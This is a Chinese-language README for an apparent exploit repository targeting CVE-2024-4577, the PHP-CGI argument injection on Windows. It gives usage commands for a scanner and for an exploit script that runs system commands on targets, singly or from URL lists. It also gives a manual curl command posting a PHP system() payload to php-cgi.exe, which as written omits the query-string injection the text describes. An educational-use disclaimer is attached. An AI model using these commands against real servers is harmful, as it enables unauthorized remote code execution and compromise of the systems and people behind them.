CVE-2024-4577 是一个严重的 PHP CGI 参数注入漏洞,影响在 Windows 系统上以 CGI 模式运行 PHP 的环境。该漏洞允许远程攻击者通过特制 URL 向 PHP 命令行 注入参数,从而导致 远程代码执行(RCE)。
本仓库包含:
CVE-2024-4577.py:用于检测易受影响目标的 扫描器。exploit.py:一个 漏洞利用工具,可向易受攻击的服务器发送 PHP 代码并执行系统命令。⚠️ 免责声明
本项目仅用于 教育和授权测试。任何滥用此代码的行为均与作者无关。请负责任地使用,并且仅在你拥有或获得明确测试许可的环境中使用。
requests 库安装依赖:
pip install -r requirements.txt
检测目标是否存在 CVE-2024-4577 漏洞:
python3 CVE-2024-4577.py -u http://target.com

python3 CVE-2024-4577.py -f urls.txt

python3 CVE-2024-4577.py -u http://target.com -p /custom/path.php
扫描器和漏洞利用工具会测试常见的 CGI 端点,例如:
/php-cgi/php-cgi.exe
/index.php
/test.php
/test.hello
该载荷可绕过 cgi.force_redirect,并通过 php://input 前置注入恶意 PHP 代码。
在易受攻击的目标上执行任意系统命令:
python3 exploit.py -u http://target.com -c "id"

python3 exploit.py -f urls.txt -c "id"

你也可以手动使用 curl 来利用该漏洞
curl -X POST http://target.com/php-cgi/php-cgi.exe -d "<?php system('uname -a'); ?>"
这会发送一个在服务器上执行 uname -a 的 PHP 载荷,并返回输出结果。

本代码以 MIT 许可证发布。更多信息请参阅 LICENSE。